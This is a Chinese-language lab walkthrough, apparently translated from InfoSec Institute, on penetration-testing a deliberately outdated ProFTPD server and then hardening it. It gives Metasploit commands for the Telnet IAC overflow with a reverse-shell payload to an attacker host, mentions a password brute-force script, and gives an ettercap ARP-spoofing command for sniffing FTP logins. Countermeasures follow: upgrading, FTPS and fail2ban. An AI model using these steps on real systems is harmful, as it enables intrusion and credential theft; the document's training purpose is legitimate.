在这篇文章中,我们将学习如何在CentOS机器配置ProFTPD的服务。之后,我们将进行渗透测试,以评估FTP服务的安全性,那么我们也将学习漏洞的对策。
在CentOS Linux机器的安装和配置FTP服务
[1] ProFTPD的源代码库的ProFTPD的服务器(1.3.3a)旧版本的源代码下载,位于ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.
使用的命令是没有hash签名的Proftpd(2011年)
# cd/usr/local/src
# wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’
[2]对于开发库和编译器的源代码编译,需要安装CentOS的机器上。他们安装使用下面的命令(ProFTPD,2013年):
# yum -y groupinstall ‘Development tools’
[3] ProFTPD服务器出于安全原因,作为一个非特权用户在Linux系统上运行。A组被称为ftpd的创建,然后被称为ftpd的用户也创造了属于的ftpd组。使用下面的命令:
使用用命令 作用
Groupadd ftpd 创建一个新组名为ftpd的属于/ etc / group文件。
useradd -G ftpd ftpd 创建一个新的用户名为ftpd,-G参数指定ftpd作为其主组,同事隶属于/ etc / passwd文件。
[4]一旦被添加用户和组的ftpd,下一步是编译源代码的PROFTP服务器,以产生的ProFTPD的二进制,支持FTP(文件传输协议)。使用下面的命令来实现这一点(ProFTPD,2011):
使用用命令 作用
cd /usr/local/src 使用CD命令进入/usr/local/src目录下
tar -jxf proftpd-1.3.3a.tar.bz2 使用tar –jxf参数解压proftpd-1.3.3a.tar.bz2归档文件
cd proftpd-1.3.3a 使用CD命令进入proftpd-1.3.3a文件夹
命令(续) | 作用 |
install_user=ftpdinstall_group=ftpd ./configure–prefix=/usr –sysconfdir=/etc | 该命令运行一个shell脚本,称为当前目录中的配置。这个脚本会检查的构建依赖和机器架构上的软件编译。该命令的主要任务是生成一个文件名为“Makefile文件。”“Makefile”文件包含读取make命令编译和安装指示。该install_user和install_group命令指示的用户和组的配置实用程序使用的ProFTPDare ftpd和ftpd的分别。prefix= / USR表示配置实用程序的二进制文件应该被安装在/ usr目录,而不是/ usr / local目录下(默认)下。最后,SYSCONFDIR=/ etc表示configure脚本配置文件应安装在/ etc目录中。 |
Make | 该命令编译的二进制文件按装在Makefile中的表示。 |
make install | 此命令安装编译好的二进制文件,其中包括名为proftpd的ProFTPD的守护进程。 |
[5]一旦被编译的二进制文件,proftpd的位置被发现使用下面的命令:
# which proftpd
该版本也被选中使用下面的命令:
#/usr/sbin/proftpd –v
[6] ProFTPD服务器的主要配置文件,称为proftpd.conf中,这是位于/ etc,使用vi编辑器编辑。最终的配置文件看起来像下面这样。配置大量(注释#符号开始)的解释:
同一个文件的配置指令,开始<Anonymous ~ftp>结束 </Anonymous> ,它里面的所有指令被注释掉(通过把一个hash符号前面的配置)禁用匿名FTP服务ProFTPD服务器。
最终的配置文件,只允许本地Linux账户/用户(通过/ etc / passwd文件中定义的用户)和chroot到他们的主目录(限制),使他们无法摆脱该目录。
[7]由于ProFTPD的守护进程配置为支持本地Linux账户和他/她的主目录为chroot用户,一个新的用户称为prithak密码,密码加入到Linux系统进行测试。使用下面的命令:
# useradd prithak
# passwd prithak(enter password prithak twice)
同样,另一位用户名为丹尼尔也被添加到系统中。最后,现在我们系统上有以下的用户:
用户名 密码
prithak 1234qwer
daniel 1a2b3c
CHINTAN A1B2C3D4
[8] PROFTP服务器(192.168.79.135)在调试模式下启动,并使用内置的Windows ftp命令访问Windows机器(192.168.79.1)。用户prithak(密码prithak)能够成功登录到ProFTPD服务器,并在同一时间生产ProFTPD服务器调试日志在标准输出上,确认登录的细节。
ProFTPD的开始使用以下命令行选项:
proftpd -n -d 4 -c /etc/proftpd.conf –ipv4
选项如下:
-N
运行ProFTPD的进程在独立模式(必须配置在配置文件中),但没有背景的过程或解除它控制tty的。此外,所有输出(日志或调试消息)发送到stderr,而不是syslog机制。
-D
在调试模式下运行ProFTPD服务器。4个参数增加了冗长的日志4
-C
/ etc / proftpd.conf中指示ProFTPD的守护程序读取配置文件位于/ etc / proftpd.conf中。
-IPV4
表示ProFTPD的守护进程只监听IPV4地址,即禁用IPV6(如果存在的话)。
[9]要确保服务器上运行的PROFTP(192.168.79.135)开始,每次重新启动Linux的初始化脚本(init脚本)与源PROFTP被复制到:CentOS的INIT V(初始化系统V)脚本目录(/ etc / rc.d / init.d中)。然后脚本可执行文件。最后,使用chkconfig命令打开ProFTPD的服务
# cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd
# chmod 775 /etc/rc.d/init.d/proftpd
# chkconfig proftpd on
侦查、踩点、漏洞利用
[1]侦查和踩点
每一个漏洞评估的第一步是要找到正在运行什么服务和版本的服务,这就是所谓的侦察和踩点。要完成此步骤应启动对目标机的一个端口扫描。nmap的端口扫描器,发起针对本机使用下列参数:
root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135
Nmap扫描结果表明,远程机器上有两个开放的端口:22(SSH)和21(FTP)。此外,在远程机器上运行的FTP服务器的版本ProFTPD的1.3.3a的SSH是OpenSSH的5.3。此外,SSH服务器只支持SSH协议版本2.0。
[2]缓冲区溢出攻击的ProFTPD 服务
当已知的漏洞ProFTPD的1.3.3a在互联网上搜索,得到结果如下:
该漏洞的“CVE-2010-4221”被认定影响ProFTPD的1.3.3.a,我们运行的版本。据分析,“ 多个基于栈的缓冲区溢出的pr_netio_telnet_gets功能在netio.cProFTPD的1.3.3c之前,允许远程攻击者执行任意代码通过涉及TELNET IAC转义字符(1)FTP的载体或(2 )FTPS服务器。
类似的,CVE-2010-4221漏洞利用在互联网上搜索时,它会导致以下Metasploit exploit:“ProFTPD的1.3.2rc3 – 1.3.3b的Telnet IAC缓冲区溢出(Linux)的。”相同的截图如下所示
要成功利用这个漏洞远程机器运行ProFTPD的易受攻击的版本,Metasploit在 Backtrack Linux系统中使用下列命令:
root@bt:~# cd /opt/metasploit/msf3
root@bt:/opt/metasploit/msf3# ./msfconsole
ProFTPD的易受攻击版本上运行192.168.79.135该漏洞被加载,使用下面的命令(命令为红色):
msf>use exploit/linux/ftp/proftp_telnet_iac
msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135
RHOST => 192.168.79.135
msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp
msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144
LHOST => 192.168.79.144
msf exploit(proftp_telnet_iac) >exploit –j
Metasploit的命令 | 描述 |
use exploit/linux/ftp/proftp_telnet_iac | 加载当前文中提到的proftp_telnet_iac漏洞。 |
set RHOST 192.168.79.135 | 攻击的目标主机,即被受攻击的机器的IP地址。 |
set payload linux/x86/shell_reverse_tcp | 将要执行的shellcode成功利用后。这里payload是可选择。payload 反向连接给攻击者,攻击成功后。漏洞应该连接的IP由LHOST参数设置。 |
set LHOST 192.168.79.144 | 设置攻击者的IP地址。 |
exploit –j | 作为后台会话启动的漏洞。 |
成功利用此漏洞的结果,获得反弹shell的192.168.79.135(PROFTP)的服务器。创建一个新的会话shell,使用Metasploit的控制台中的“session -l”命令可以列出。
与会话交互,“session –i 1”命令。要检查的权限级别的用户谁触发了反弹shell,使用如下的命令:
ID
此命令输出的有效用户ID。输出显示,我们有uid和gid 0即root用户。
WHOAMI
此命令是用来输出当前用户的用户名称。这个命令的输出也证实了,我们访问的机器是root权限。
因为我们有超级用户(root)的权限,我们也能够修改/ etc / shadow文件,其中包含了用户的各种系统中的密码哈希,只可读/可写的根用户。下面的截图显示的信息:
[2]暴力破解密码攻击PROFTP服务器
开始了对PROFTP服务器的密码暴力破解攻击,下面是由Python脚本写的。这个脚本试图暴力猜解用户prithak 、CHINTAN、daniel的密码。默认的密码文件附带bracktrack作为密码数据库文件。
使用上面的Python脚本,成功暴力破解出FTP用户prithak CHINTAN,丹尼尔的密码。下面的截图显示获取的密码:
由于大多数系统多个服务使用相同的用户名和密码,用户名和密码信息,从先前的攻击是用来对付SSH服务器运行在同一台服务器上。这种攻击也被称为“密码暴力猜解”(Harper,,2011)。密码破解攻击是成功的,上述凭证有效期为SSH登录。下面的截图显示在SSH成功登录:
[3] ARP欺骗和密码嗅探攻击
因为FTP协议发送用户名和密码以明文,它是容易受到密码嗅探攻击。在这种攻击中,以下IP机器涉及:
192.168.79.135 PROFTP服务器(FTP服务器)
192.168.79.144 Backtrack(攻击者)
192.168.79.150的Windows XP(FTP客户端)
下面的截图显示的ARP欺骗攻击之前推出的Windows XP主机地址解析协议表:
由此可以看出,所有的主机具有与它们相关联的不同的MAC地址。现在,因为攻击者是在同一个局域网段作为FTP服务器和FTP客户端,它是可能的攻击者发动ARP欺骗攻击,使他可以坐在中间的FTP交流和嗅探密码。要做到这一点,攻击者的计算机上执行以下步骤:
1、 启用IP转发给攻击者的机器,它可以在FTP服务器和FTP客户端之间通信。这是通过使用下面的命令:
# echo 1 > /proc/sys/net/ipv4/ip_forward
2、ettercap软件是被用来发起一个ARP欺骗攻击给192.168.79.150【Windows XP(FTP客户端)]和192.168.79.135 PROFTP的服务器(FTP服务器)。使用如下的命令:
# ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/
3、下面的截图显示在Windows XP计算机上发起攻击之前和之后的ARP表:
4、现在,当客户端登录到FTP服务器,ettercap软件来抓起密码并输出。
防御措施
[1]缓冲区溢出利用对策
由于系统上运行的ProFTPD的版本较旧,最有效的对策是安装相同的软件的最新版本。另一种对策是安装FTP服务器更安全的版本,具有很好的安全追踪。pureftpd的服务器似乎比ProFTPD服务器有更好的安全追踪。
应用对策,我们pureftpd的选择升级到最新版本。这是通过类似的步骤,后用来安装旧版本的ProFTPD的。所采用的步骤如下:
ProFTPD服务器的运行版本停止使用下面的命令:
# service proftpd stop
进入它的源目录,并使用“卸载”命令,删除旧版本的ProFTPD服务器。
# cd /usr/local/src/proftpd-1.3.3a
# make deinstall
ProFTPD的服务器的源代码最新版本的下载和使用md5sum命令来验证它的MD5校验。下面的屏幕截图显示了信息:
ProFTPD的较新版本的编译和安装,使用下面的命令:
# tar zxvf proftpd-1.3.5rc2.tar.gz
# cd proftpd-1.3.5rc2
# install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls
# make
# make install
[注:已解释所有这些命令及其用法已经安装了旧版本的ProFTPD的。mod_tls选项使FTP通过SSL / TLS(FTPS)协议的支持。]
ProFTPD的版本检查时,它出来,ProFTPD的版本1.3.5rc2。
最新版本的ProFTPD开始然后lsof命令是用来验证FTP服务器正在运行:
它也可以使用以前使用相同的用户名和密码登录到FTP。这证明了确实是升级的FTP服务完美的工作。当先前使用相同的漏洞发起针对该ProFTPD服务器使用Metasploit的,它失败了。这验证服务已被修补。此外,在写作的时候,没有已知漏洞(本地或远程)ProFTPD服务器版本1.3.5-RC2,我们正在运行。
[2]防范密码嗅探攻击
可以保证FTP协议使用的FTP SSL(FTPS)协议。可以执行下面的步骤,使FTPS:
1、生成的SSL / TLS证书使用OpenSSL工具与Linux(FALKO,2011):
# mkdir /etc/ssl_certs/
# opensslreq -new -x509 -days 730 -nodes -out \
/etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem
确保该证书有效期为730天,两年。
2、ProFTPD服务器被配置为支持FTPS协议,通过编辑/etc/proftpd.conf中的配置文件。此外,明文FTP协议被禁止,和FTPS执行。ProFTPD的拒绝明文FTP连接。下面的屏幕截图显示了添加行注释和解释:
3、一旦配置完成后,重新启动ProFTPD的守护进程,使用“service proftpd restart”命令。现在,当Windows 7内置在FTP.EXE客户端被用于使用明文FTP协议连接到服务器,服务器拒绝连接错误消息:
“550 SSL/TLS required on the control channel.”
4、为了测试登录,FileZilla的FTP客户端的安装和它能够成功登录到ProFTPD服务器使用SSL / TLS。然而,有关证书的警告讯息显示。这是由于这样的事实,该证书是自签名的。一旦证书被接受,在连续登录,没有任何错误。
此外,用于FTP服务器的密码应该是保密性强。FTP用户应该有自己的shell更改为/bin/false,这会确保FTP用户将无法通过SSH,telnet或TTY会话登录。这样做是使用下面的命令:
# chsh -s /bin/false prithak
# chsh -s /bin/false daniel
# chsh -s /bin/false chintan
# echo /bin/false >> /etc/shells
[3]防范密码暴力破解攻击
为了防范密码暴力破解攻击,采取以下步骤:
1、选择强密码和用户密码进行了升级。使用下面的命令:
# passwd prithak(提示密码alj234wkjw 82jlk2133当输入两次)
# passwdchitan( 当系统提示输入密码234aj%2] 32 [maere输入两次)
# passwddaniel( 当系统提示输入密码; 8 @#%2./ere的$ * 0.0 *两次输入)
2、Fail2ban的实用程序ProFTPD的系统上安装和配置。Fail2ban的实用程序可以检测和防止密码暴力破解攻击,通过阻断攻击者的IP地址(ES)。ProFTPD的日志(/var/log/secure)检查,并根据配置,自动插入iptables防火墙规则(次),以阻止违规的IP地址。采取以下步骤来安装和配置ProFTPD的fail2ban的:
(1)、Fail2ban的安装使用以下命令(Selvaganeshan,2010):
# wgethttp://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
# rpm -ivh epel-release-6-8.noarch.rpm
# yum install -y fail2ban
(2)、/ etc/fail2ban/jail.conf文件编辑和以下参数改变(Selvaganeshan,2010):
bantime = 600
maxretry = 4
bantime定义的秒数来阻止攻击者的IP和的maxretry参数是允许的IP被封锁之前的错误数。因此,在这种情况下,如果任何一个IP有四个以上的失败的登录,是被禁止的。同样,监测ProFTPD的日志也被启用在“proftpd的iptables的”部分:
然后重新启动fail2ban的服务使用下面的命令:
# /etc/init.d/fail2ban restart
起初,没有IP地址被fail2ban iptables协助。 默认规则集的fail2ban-ProFTPD链是空的,如下所示:
当FTP密码暴力破解攻击进行IP地址192.168.79.222(backtrack)在ProFTPD服务器(192.168.79.135),检测到的攻击,攻击者的IP地址被阻塞:
iptables的规则来阻止fail2ban的插入IP 192.168.79.222下文重点介绍:
结论
从源代码安装ProFTPD的服务器,并使用缓冲区溢出漏洞攻击,密码嗅探和密码蛮力攻击。此外,服务是固定使用强制SSL / TLS证书和Fail2ban的入侵检测系统,并升级到最新版本的服务。
本文有小安攻防研究室翻译,如有翻译错误请联系管理员纠正,转载请注明地址谢谢。
原文:http://resources.infosecinstitute.com/penetration-testing-of-an-ftp-service/
参考:
http://openmaniak.com/ettercap.php
http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze.
http://www.proftpd.org/docs/howto/Compiling.html